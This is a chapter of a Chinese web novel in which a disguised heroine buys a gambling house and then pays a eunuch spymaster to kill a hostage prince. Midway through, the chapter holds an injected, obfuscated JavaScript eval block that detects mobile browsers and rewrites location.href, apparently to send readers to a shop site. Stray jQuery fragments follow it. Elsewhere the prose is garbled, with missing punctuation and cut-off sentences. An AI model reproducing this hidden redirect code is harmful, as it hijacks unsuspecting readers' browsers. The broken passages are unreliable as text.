第213章 和魏折山谈一笔交易
作品:《玄学嫡女被读心后,全家悔哭了》 赌场老板原本还漫不经心的神色,在看到沈绾梨拿出来的钟离商令后,瞬间严肃了起来,语气也多了几分恭敬:“公子,你稍等,我去问问我们东家。”
“好。”沈绾梨刻意压低了声音。
沈绾梨透过幕篱看向赌场。
沈暮玠还在赌,他输光了身上带的银子之后,就想要找沈绾梨先要回刚给她的银票,却发现沈绾梨和沈清茉已经不见了踪迹。
于是他就找沈念娇借钱,可沈念娇的钱都是刚从他那借的,哪里会轻易交出来,于是她主动帮沈暮玠去对面珍馐阁支取银两。
赌场坐庄的几人对视一眼,又开始继续诱导沈暮玠下更大的赌注。
沈绾梨冷眼看着,她甚至怀疑,钟离商号的这家赌场开在沈暮玠对面,就是针对沈暮玠的。珍馐阁时常会出一些新奇吃食,就如这些时日风靡燕京的冰粉,日进斗金,难免惹人眼红。
沈暮玠身份摆在那,没人敢明着打珍馐阁的主意,可要是沈暮玠自己把珍馐阁输了出去,便是侯府也不能强行夺回。
不多时,赌场老板回到了沈绾梨身边,“公子,请随我来,我们公子想见你。”
沈绾梨颔首,跟着他上了楼。
相对于一楼的喧闹嘈杂,二楼并未开设赌局,而是设了雅间。
沈绾梨随赌场老板进了其中一间,就见一副水墨丹青屏风后,隐约映出两个男子人影。
赌场老板:“公子,贵客已带到。”
左边的男子放下了茶盏,薄唇轻启,声音温柔缱绻:“你先退下。”
赌场老板退下。
屋内只剩下了沈绾梨与屏风后的两人,还有侍奉在旁的小厮。
左边的男子摇着折扇从屏风后走了出来,是个弱冠之年的俊美男子,穿着绣有墨竹的月白色广袖衣衫,墨发披散只用了根狼毫笔随意簪在脑后,衣着打扮带着书卷气,但那一双狭长略带笑意的狐狸眼,却透着商人的精明。
这是钟离商号的主人,人称钟离公子,钟离墨。
钟离商号开遍四国,钟离公子也来去无踪,没想到他如今竟在燕京之内。
那今日针对沈暮玠的赌局,是否是他授意,亦或是,钟离墨在针对襄平侯府?
幕篱之下,沈绾梨眸光微深,若有
所思。
沈绾梨在打量钟离墨的时候钟离墨也在打量她。
他摇着折扇走到了沈绾梨面前笑着问:“姑娘为何想要买下赌场?”
沈绾梨心下惊讶她在谢芳林的成衣铺不仅换了男装还束胸垫高了靴子用脂粉遮去了耳洞没想到她都已这般乔装打扮甚至都还没说话钟离墨就一眼看出了她是女子。
既然都被认出来是女子了沈绾梨便也没刻意再压低声音伪装男子而是用略为娇俏任性的语气道:“我想买就买了。你们钟离商会不是说会满足钟离商令之主的要求吗?钟离公子不会违背誓言吧?”
钟离墨笑了笑:“我们商会自然会满足贵客的要求。只是贵客姑娘可否为你换一间赌场我们在醉花街有一间更热闹的赌场。”
他的声音温柔至极略带了些诱哄像是在哄任性的小孩一般。
沈绾梨手里把玩着钟离商令:“我就要这间。”
钟离墨似是略带苦恼水润润的狐狸眼直勾勾地望着她“贵客妹妹真不能换啊?”
沈绾梨觉得这钟离公子真是厚脸皮这就喊上妹妹了。
沈绾梨:“不能。我银票都带来了钟离公子清点一下?”
她手里有十万两银票
当然她一次性支取了十万两银票肯定会惊动谢芳林。
沈绾梨打算回侯府再给她编个理由然后用自己的私库把账平了。
钟离墨有些无奈但还是让侍候在旁的小厮去取了铺子契书给沈绾梨“本公子还是第一次见这般强买强卖的沈妹妹这间赌场日进斗金也不为过你可莫要毁了我的心血啊。”
沈绾梨觉得这人也真是狡猾竟然还试探她的身份“我不姓沈。”
钟离墨用扇面遮着半边脸狐狸眼疑惑地望着沈绾梨“哦?妹妹执意买下这间商铺难道不是为了你哥哥沈二公子?”
“他不是我哥哥。”
沈绾梨语气冷漠果断以至于钟离墨都怀疑自己的猜测了。
“钟
离公子开这间商铺是为了沈二公子沈暮玠?
说这话的时候,沈绾梨语气上挑。
钟离墨摇着扇子哈哈笑,接过了沈绾梨递来的十万两银票,晃了晃,“本公子开这间铺子自然是为了赚取银两。
沈绾梨手里拿着铺子地契,决定待会就去官府将赌场过到自己假身份的名下。
包括之前沈老夫人送她“师父
“那从现在开始,这间商铺就是我的了?沈绾梨问钟离墨。
钟离墨略带幽怨地嗯了声。
沈绾梨:“那就请钟离公子和你的朋友,收拾收拾离开吧。
她刚看了眼,赌场的铺子地契,包括这两层楼。
钟离墨诧异:“贵客妹妹,都说买卖不成仁义在,我们这买卖都成了,你竟这般冷漠?我们茶都没喝完,你就要赶我们走?
屏风后那人饮茶的动作也停了下来,传来了略为阴柔的声音,“真是稀奇。竟还有人敢赶本督走。
看到从屏风后走出来容色妖孽雌雄莫辨的男子,沈绾梨并不意外,虽然只有一个身影,但她一早就猜到了那人是魏折山,“督主难不成还要将我这救命恩人抓回东厂?
魏折山苍白修长的手指轻掩着红唇笑了笑,“恩人若是愿意,随时可以来东厂参观。
沈绾梨记得,之前在宫里,魏折山也跟她说过这话。
看来哪怕是她乔装,他们也猜测到了她的身份,但既然试探,那便还是不肯定。
沈绾梨自然不可能承认,“这就不必了。但正好我有一事要请督主帮忙。
魏折山眸光动了动:“恩人要用人情么?
之前沈绾梨救了他一命,魏折山亲口许诺,欠她一个人情,便是杀人放火也不在话下。
但是魏折山此人邪性得很,沈绾梨觉得他完全能做出,还清人情就将她这救命恩人丢到东厂受酷刑的事情来。
所以这人情她不打算轻易用。
而且,元靳也不配。
“不用人情。用银子。我想同督主谈一笔交易。
沈绾梨说这话时,便留意着魏折山和钟离墨两人的神色。
钟离商会最不缺的就是钱。
魏折山作为东厂总督与钟离墨一介商人交好定是为财而来。
东厂也能敛财
若是从前魏折山手里有钟离商令可以随意调动钟离商会名下商铺必要时甚至可以从钟离商号的钱庄支钱自然是不会缺银子的。但现在钟离商令在她手里相当于她抢了魏折山的钱袋子。
魏折山闻言看了眼对面的钟离墨笑了笑说:“差点忘了我如今手里没有钟离商令使唤不动钟离商号但我家恩人倒是可以。”
钟离墨则是面色微沉看向沈绾梨提醒:“妹妹从钟离钱庄支取的银两也是要还的。”
只不过与旁人不同的是手持钟离商令之人从钟离钱庄支取银两可以支取更多而且没有利息。
钟离墨瞥了眼魏折山然后对沈绾梨语重心长地叮嘱“钟离商号只认手持钟离商令之人为贵客可不管这商令是如何落到那人手中的。你若是要将商令借与旁人可得三思啊。”
沈绾梨当然不会把钟离商令借给魏折山那跟还给他有什么区别到时候她想要回来难如登天。
她可不认为魏折山是什么知恩图报的好人。
他都当东厂总督了能是什么好人。
魏折山听着钟离墨的话则是笑容愈发阴冷宛若毒蛇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130529|149942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一般此刻语气也带了些不善:“本督主还要同恩人谈生意还请钟离公子收拾收拾离开吧。”
钟离墨还是第一次被人从自家商号的店铺里赶走但他也一刻不愿与魏折山多待了摇着扇子就离开了。
路过沈绾梨的时候他凑近眨巴了下狐狸眼:“妹妹乔装得好不好奇我怎么认出来你是女子的吗?”
他一直等着沈绾梨主动问他呢没想到沈绾梨压根没提自己反倒憋不住了。
沈绾梨当然好奇但她不说她要是开口问钟离墨这狐狸肯定会张口要银子。
钟离墨看不清她幕篱下的神色见她不问反而偏要说出来:“妹妹再如何乔装打扮这男子可没有这般纤腰楚楚的身姿。”
原来是通过身段来判断。
沈绾梨觉得下回她易容的时候,不仅要往胸上缠布,还要往腰上也缠几圈。
“当然了,我们督主也身姿曼妙,若不是净身房里走过一遭,我也要以为督主是位女扮男装的佳人呢。”钟离墨说着,轻摇了下折扇,笑着回头看了魏折山一眼。
魏折山容色妖冶,美得雌雄莫辨,但他最厌恶的便是,旁人说他像女子,说他男生女相。
曾经这般羞辱过他的人,几乎都没好下场。
沈绾梨觉得钟离墨可真是够勇的。
果然,魏折山听到这话目光阴沉了几分,“钟离墨。”
钟离墨已经飞快出了雅间,并且关上了门。
他收回视线,看向了沈绾梨,眼里的狠戾似乎在一瞬间消失,带了几分玩味的笑,但笑意不达眼底:“恩人,坐下来聊聊?”
沈绾梨颔首,与他一同回到了屏风后,坐在了之前钟离墨坐的位置。
旁边的小厮给他们重新上了一壶茶。
沈绾梨让小厮在门口守着。
魏折山才慢悠悠开口,“恩人想与我谈什么交易?”
沈绾梨:“帮我杀一个人。”
魏折山:“谁?”
沈绾梨:“魏国质子,元靳。”
魏折山眉梢微微挑起,“元靳如今在诏狱之中,诏狱乃是锦衣卫所管辖之地,本督主爱莫能助。”
沈绾梨当然知道元靳被关在诏狱。
若是找锦衣卫指挥使岑寂帮忙,要杀元靳会更为轻松。
而恰好,她手上有岑寂的玉佩,若是用上岑寂欠她的人情,岑寂应当不会拒绝。但是,那样岑寂会知道,是她要杀元靳。同样的,岑寂也不是什么好人,沈绾梨难保他帮了她之后,会不会转而把她卖了。
但是魏折山,至少不能确定她的身份。
沈绾梨从沈敏那薅了很多银子,花起来一点也不心疼,“一万两银子。”
魏折山:“元靳质子乃是魏国嫡长子,关系到两国和平,他的命,竟然还比不上钟离墨这赌场的一成?”
沈绾梨语气冷漠:“他那贱命不值钱。钟离家的赌场本就日进斗金,若非我有钟离商令,便是花十万银票也未必能买下。但元靳他本就病弱,若是意外病逝在诏狱之中,魏国也没有理由开战。督主还可以将罪责推到锦衣卫身上,说不准还能为督主除掉政敌。”
岑寂欠她的玉佩和人情,她收下了。
但他还欠她一条命。
魏折山听着点头,似是赞同沈绾梨说的话,但转而又笑道:“恩人你也说了,锦衣卫与我们东厂势不两立,本督主若是帮了你,在锦衣卫的地盘上动手,被锦衣卫抓住了把柄,那到时候,倒霉的可就是本督主了啊。”
沈绾梨语气上挑,略带戏谑:"督主还怕锦衣卫指挥使不成?”
魏折山轻嗤:“本督主自然是不怕岑寂的。”
沈绾梨哦了声:“所以督主这是何意?”
魏折山面不改色地道:“要加钱。一万两实在太少了,本督主要十万两。”
沈绾梨:“成交。”
魏折山:?

